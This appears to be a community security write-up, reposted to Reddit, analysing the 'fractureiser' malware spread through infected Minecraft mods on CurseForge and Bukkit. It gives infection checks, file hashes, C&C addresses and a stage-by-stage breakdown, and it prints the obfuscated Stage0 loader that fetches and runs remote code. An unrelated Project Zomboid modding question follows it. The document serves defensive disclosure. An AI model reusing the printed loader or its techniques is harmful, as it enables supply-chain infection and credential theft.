- Propagate itself to all jar files on the filesystem, possibly infecting mods that were not downloaded from CurseForge or BukkitDev
- Steal cookies and login information for many web browsers
- Replace cryptocurrency addresses in the clipboard with alternates that are presumably owned by the attacker
- Steal Discord credentials
- Steal Microsoft and Minecraft credentials
(See
technical details for more info)
Because of its behavior, we are
very confident this is a
targeted attack against the modded Minecraft ecosystem. It’s quite bad.
Until further notice, exercise extreme caution with Minecraft mod downloads, regardless of origin. While the control server for this malware is currently offline,
any download from Curseforge or the Bukkit plugin repository in the last 2-3 weeks should be treated as potentially malicious. This malware is unlikely to be detected by Windows Defender or similar antimalware products.
If you have downloaded any mods from Curseforge, or plugins from Bukkit, even through clients such as Prism Launcher or the official Curseforge launcher, it is recommended that you follow the “Am I infected?” guide below.
The affected accounts had two-factor authentication enabled. This is not a simple password compromise situation. Multiple accounts are affected.
Currently, we do not suspect other platforms such as Modrinth to be affected. At this point we cannot be confident claiming any hosting service is unaffected. Please exercise caution regardless of what site you use. Even Maven repositories may be infected, and this malware goes back months.
Right now, the malware is dormant due to the loss of its C&C server and the Stage0 (what was distributed via mods and modpacks) not having a way to get a new server. If you were infected with Stage2 (the file described below, dropped by Stage1 when C&C was up), then
the malware is still active. Am I infected?
You can check whether the malware ever ran on your computer, since Stage1 attempts to save Stage 2 at several unusual paths:
- Linux: ~/.config/.data/lib.jar
- Windows: %LOCALAPPDATA%\Microsoft Edge\libWebGL64.jar (or ~\AppData\Local\Microsoft Edge\libWebGL64.jar )
- Make sure to show hidden files when checking
- Yes, “Microsoft Edge” with a space. MicrosoftEdge is the legitimate directory used by actual Edge.
- Also check the registry for an entry at HKEY_CURRENT_USER:\Software\Microsoft\Windows\CurrentVersion\Run
- Or a shortcut in %appdata%\Microsoft\Windows\Start Menu\Programs\Startup
- All other OSes: Unaffected. The malware is hardcoded for Windows and Linux only. It is possible it will receive an update adding payloads for other OSes in the future.
There are scripts available
here which will help you check whether these files exist.
Before downloading, the malware will create the enclosing directory if it does not exist. Windows/MS Edge does not use the “Microsoft Edge”-with-a-space directory, and Linux software does not use ~/.config/.data , so these folders existing is a likely sign that Stage1 has executed on a victim computer.
If you find these files, you should delete them immediately, but consider
all JAR files on your system compromised, and potentially all logins on your web browser as well. Passwords should be changed.
Given a jar file, how do I know if it’s safe?
There are various heuristics you can use to determine whether a jar is infected with Stage 0.
Emi’s shell script
here simply checks for all usages of ClassLoader , which is uncommon in mod code. This can lead to false positives and negatives. For example, it falsely flags the latest Quark 1.19 file as infected when it is not.
Sylv’s shell script
here does a bit more fingerprint matching for the malware, and should be more precise.
As a non-technical user, your best course of action is to check if your system was affected using the above steps, remediating if necessary, and refraining from downloading anything from CurseForge or
dev.bukkit.org until further notice.
Technical info
Distribution
Some modpacks have had updates published for them without the knowledge of the authors, adding a dependency on malicious mods. These modpack updates were archived immediately after uploading, meaning they
do not show on the web UI, only via the API. The malicious mods have upload dates multiple weeks in the past. Most of them were uploaded by single-use accounts with clearly autogenerated names, and were likely the seed of the infection. Luna Pixel Studios was compromised due to a dev testing one of these mods, as it was an interesting new upload. The fact Curse let these mods uploaded by a new account through is pretty bad and speaks to their now-nonexistent content moderation.
Known affected mods & plugins
mod/pluginlinkSHA1“Uploader” Skyblock Core[
www.curseforge.com]/minecraft/mc-mods/skyblock-core/files/4570565
33677CA0E4C565B1F34BAA74A79C09A3B690BF41
Luna Pixel Studios Dungeonz[
legacy.curseforge.com]/minecraft/mc-mods/dungeonx/files/4551100
2DB855A7F40C015F8C9CA7CBAB69E1F1AAFA210B
fractureiser Haven Elytra[
dev.bukkit.org]/projects/havenelytra/files/4551105 [
legacy.curseforge.com]/minecraft/bukkit-plugins/havenelytra/files/4551105
284A4449E58868036B2BAFDFB5A210FD0480EF4A
fractureiser Vault Integrations[
www.curseforge.com]/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590
0C6576BDC6D1B92D581C18F3A150905AD97FA080
simpleharvesting82 AutoBroadcast[
www.curseforge.com]/minecraft/mc-mods/autobroadcast/files/4567257
C55C3E9D6A4355F36B0710AB189D5131A290DF26
shyandlostboy81 Museum Curator Advanced[
www.curseforge.com]/minecraft/mc-mods/museum-curator-advanced/files/4553353
32536577D5BB074ABD493AD98DC12CCC86F30172
racefd16Vault Integrations Bug fix[
www.curseforge.com]/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590
0C6576BDC6D1B92D581C18F3A150905AD97FA080
simplyharvesting82 Floating Damage[
dev.bukkit.org]/projects/floating-damage1d1aaccdc13244e980c0c024610ecc77ea2674a33a52129edf1bb4ce3b2cc2fcmamavergas3001Display Entity Editor[
www.curseforge.com]/minecraft/bukkit-plugins/display-entity-editofiles/4570122
A4B6385D1140C111549D95EAB25CB51922EEFBA2
santa_faust_2120
Darkhax sent this:
https://gist.github.com/Darkhax/d7f6d1b5bfb51c3c74d3bd1609cab51f potentially more: Sophisticated Core, Dramatic Doors, Moonlight lib, Union lib
Stage0 (Infected mod jars)
Affected mods or plugins have a new static void method inserted into their main class, and a call to this method is inserted into that class’s static initializer. For DungeonZ, the method is named _d1385bd3c36f464882460aa4f0484c53 and exists in net.dungeonz.DungeonzMain . For Skyblock Core, the method is named _f7dba6a3a72049a78a308a774a847180 and is inserted into com.bmc.coremod.BMCSkyblockCore . For HavenElytra, the code is inserted directly into the otherwise-unused static initializer of valorless.havenelytra.HavenElytra .
The method’s code is obfuscated, using new String(new byte[]{...}) instead of string literals.
From Shadowex3’s sample of “Create Infernal Expansion Plus”, a copycat version of “Create Infernal Expansion Compat” with malware inserted into the main mod class:
static void _1685f49242dd46ef9c553d8af1a4e0bb() { Class.forName(new String(new byte[] { // "Utility" 85, 116, 105, 108, 105, 116, 121 }), true, (ClassLoader) Class.forName(new String(new byte[] { // "java.net.URLClassLoader" 106, 97, 118, 97, 46, 110, 101, 116, 46, 85, 82, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114 })).getConstructor(URL[].class).newInstance(new URL[] { new URL(new String(new byte[] { // "http" 104, 116, 116, 112 }), new String(new byte[] { // "85.217.144.130" 56, 53, 46, 50, 49, 55, 46, 49, 52, 52, 46, 49, 51, 48 }), 8080, new String(new byte[] { // "/dl" 47, 100, 108 })) })).getMethod(new String(new byte[] { // "run" 114, 117, 110 }), String.class).invoke((Object) null, "-114.-18.38.108.-100"); }
This:
- Creates a URLClassLoader with the URL http://[85.217.144.130:8080]/dl (shodan)
- Loads the class Utility from the classloader, fetching code from the internet
- Calls the run method on Utility , passing a String argument different for each infected mod (!). E.g.
- Skyblock Core: “-74.-10.78.-106.12 ”
- Dungeonz: “114.-18.38.108.-100 ”
- HavenElytra: “-114.-18.38.108.-100 ”
- Vault Integrations: “-114.-18.38.108.-100 ”
The passed numerals are parsed as bytes by Stage1 and written to a file named “.ref”. They appear to be a way for the author to track infection sources.
The creation of the classloader is hardcoded to that URL and does not use the Cloudflare URL that Stage 1 does. As that IP is now offline, this means the Stage 0 payloads
we are presently aware of no longer function.
Stage1 (dl.jar)
SHA-1: dc43c4685c3f47808ac207d1667cc1eb915b2d82
Decompiled copy of Utility from the malware.
The very first thing Utility.run does is check if the system property neko.run is set. If it is, it will
immediately stop executing. If not, it sets it to the empty string and continues. This appears to be a very simplistic way of avoiding the same process running the malware multiple times, such as if it had multiple infected mods.
This cannot be relied upon as a killswitch because Stage1 is downloaded from the Internet and may change. It attempts to contact 85.217.144.130 , and a Cloudflare Pages domain (https://[files-8ie.pages.dev]/ip ). Yes, people have already reported abuse. The Pages domain is used to retrieve the IP of the C&C server if the first IP no longer responds — the URL responds with a 4 byte file which is just a binary IPv4 address.
The C&C IP has been nullrouted after an abuse report to the server provider. We will need to keep an eye on the Cloudflare page to see if a new C&C server is stood up, I can’t imagine they didn’t plan for this. Thank you Serverion for your prompt response.
Stage 1 then attempts to achieve persistence by doing the following:
- Downloading stage 2 (lib.jar on Linux, libWebGL64.jar on Windows) from the server
- Making stage 2 run automatically on startup:
- On Linux, it tries placing systemd unit files in /etc/systemd/system or ~/.config/systemd/user
- The unit file it places in the user folder never works, because it tries using multi-user.target , which doesn’t exist for user units
- On Windows, it attempts to modify the registry to start itself, or failing that, tries adding itself to the Windows\Start Menu\Programs\Startup folder
Stage2 (lib.jar or libWebGL64.jar)
Known sha1 hashes:
- 52d08736543a240b0cbbbf2da03691ae525bb119
- 6ec85c8112c25abe4a71998eb32480d266408863 (Shadowex3’s earlier upload)
Stage 2 is obfuscated with a demo version of the Allatori obfuscator, and its main class is called Bootstrap .
TODO, describe the double wrapped behaviour.
Stage 2 downloads stage 3, client.jar , loads its code, and executes the start method located within dev.neko.nekoclient.Client .
Stage3 (client.jar)
sha-1: c2d0c87a1fe99e3c44a52c48d8bcf65a67b3e9a5
client.jar is an incredibly obfuscated and complex bundle of code and contains both java and native code.
It appears to contain a native payload hook.dll , decompiled:
https://gist.githubusercontent.com/NotNite/79ab1e5501e1ef109e8030059356b1b8/raw/c2102bf5ff74275ac44c2200d5121bfff652fd49/hook.dll.c There are two native functions meant to be called from Java, as they are JNI callable:
- __int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveClipboardFiles(__int64 a1);
- __int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveMSACredentials(__int64 a1);
from analysis, these do what they say on the tin:
- read clipboard contents
- Steal Microsoft account credentials
There is also evidence of code attempting to do the following:
- Scan for all JAR files on the system that look like Minecraft mods (by detecting Forge/Fabric/Quilt/Bukkit) and attempt to inject stage 0 into them
- Steal cookies and login information for many web browsers
- Replace cryptocurrency addresses in the clipboard with alternates that are presumably owned by the attacker
- Steal Discord credentials
- Steal Microsoft and Minecraft credentials, from a variety of launchers
- Steal crypto wallets
Jars are heuristically detected as Minecraft mods or plugins as follows:
- Forge (dev/neko/e/e/e/A): The malware attempts to locate the u/Mod annotation, which is required in every mod
- Bukkit (dev/neko/e/e/e/C): The malware checks if a class extends Bukkit’s JavaPlugin class
- Fabric/Quilt (dev/neko/e/e/e/i): The malware checks if a class implements ModInitializer
- Bungee (dev/neko/e/e/e/l): The malware checks if a class extends Bungee’s Plugin class
- Vanilla (dev/neko/e/e/e/c): The malware checks if the main client class net.minecraft.client.main.Main exists
More details are available in the live stage-3 reversal doc:
https://hackmd.io/5gqXVri5S4ewZcGaCbsJdQ Other Stuff
The only official channel run by the same team that wrote this writeup is
#cfmalware on EsperNet IRC — we do not have a Discord. You may join the channel if you wish — due to an influx of new users we’ve set the channel +m, you will need permission to speak.
Joining an IRC channel will expose your IP address. IRC logs: TODO
The main payload server
is was (got taken down) hosted on Serverion, a company based in the Netherlands.
Other than an HTTP server on port 80/443 and an SSH server on port 22, the following ports were open on 85.217.144.130 :
- 1337
- 1338 (a port referenced in stage 1’s file for creating new Debugger connection)
- 8081 (this is a WebSocket server - no apparent function right now, not referenced in any malicious code)
- 8082 (nobody’s gotten anything out of this one, not referenced in any malicious code)
- 8083 (contacted by stage 1)
Curiously, fractureiser’s bukkit page says “Last active Sat, Jan, 1 2000 00:00:00”
https://dev.bukkit.org/members/fractureiseprojects/ Follow-Ups
While it’s a bit early to speak of long term follow-ups, this whole debacle has brought up several critical flaws in the modded Minecraft ecosystem. This section is just brainstorming on them and how we can improve.
- Review at mod repositories is inadequate What exactly does CurseForge and Modrinth do when “reviewing” a mod? We should know as a community, instead of relying on security through obscurity. Should be we be running some sort of static analysis? (williewillus has a few ideas here)
- A lack of code signing for mods Unlike the software industry at large, mods released and uploaded to repositories are usually not signed with a signing key that proves that the owner of the key uploaded the mod. Having signing and a separate key distribution/trust mechanism mitigates compromise of CurseForge accounts. However, this then leads to the greater issue of how to derive key trust, as the fact that “this jar has this signature” has to be communicated out of band from CurseForge/Modrinth, in a standard way so that loaders or users can verify the signatures. Forge tried to introduce signing many years ago and it had limited uptake.
- A lack of reproducible builds Minecraft toolchains are a mess, and builds are usually not reproducible. It is common to have buildscripts fetching unpinned -SNAPSHOT versions of random Gradle plugins and using them, which results in artifacts that are non-reproducible and thus non-auditable. A random Gradle plugin being a future attack vector is not out of the question.
- Lack of sandboxing of Minecraft itself Java edition modding has always had the full power of Java, and this is the other side of that double-edged sword: malicious code has far-reaching impact. Minecraft itself is not run with any sandboxing, and servers usually are not sandboxed unless the owner is knowledgeable enough to do so.
Good sandboxing is difficult, especially on systems such as Linux where SELinux/AppArmor have such poor UX that no one deploys them.
Credits
Nonextensive! Thank you to all that pitched in. We’ll flesh this out after this all blows over.
Shadowex3: Extensive reverse engineering, early discovery learned of later
Nia: Extensive stage 3 reverse engineering
Jasmine: Coordination, writing the decompiler we’ve been using (Quiltflower)
Emi: Coordination, initial discovery (for this team), and early research
williewillus: Coordination, journalist
quat: Documentation, initial infected sample research
xylemlandmark: Coordination of documentation, crowd control, responsible for using Snopyta at first and the disaster that caused
Live updated document -
https://hackmd.io/B46EYzKXSfWSF35DeCZz9A Curseforge is aware of the issue keep an eye in their discord for announcements.
submitted by
Noonlineidrip to
minecraftclients [link] [comments]
2023.06.07 17:58 danykli Can I load mods only when I'm making a new game?
Basically, I want to choose what sort of mods are in a new game (trying to make a 10 Years Later Tribal run or something along those lines) but I don't want to always load EVERY mod when starting the game.
Basically, I'm asking if there is something like the "More..." menu when you're trying to add mods to an already existing game but for a new game
Also, how do I set up the 10 Years Later mod? It seems that there are a few different sub mods of it and I don't know which ones to install and which ones I can ignore (stuff like 10 Years Later - Raven Creek if I'm not using Raven Creek)
Thanks a bunch!
submitted by
danykli to
projectzomboid [link] [comments]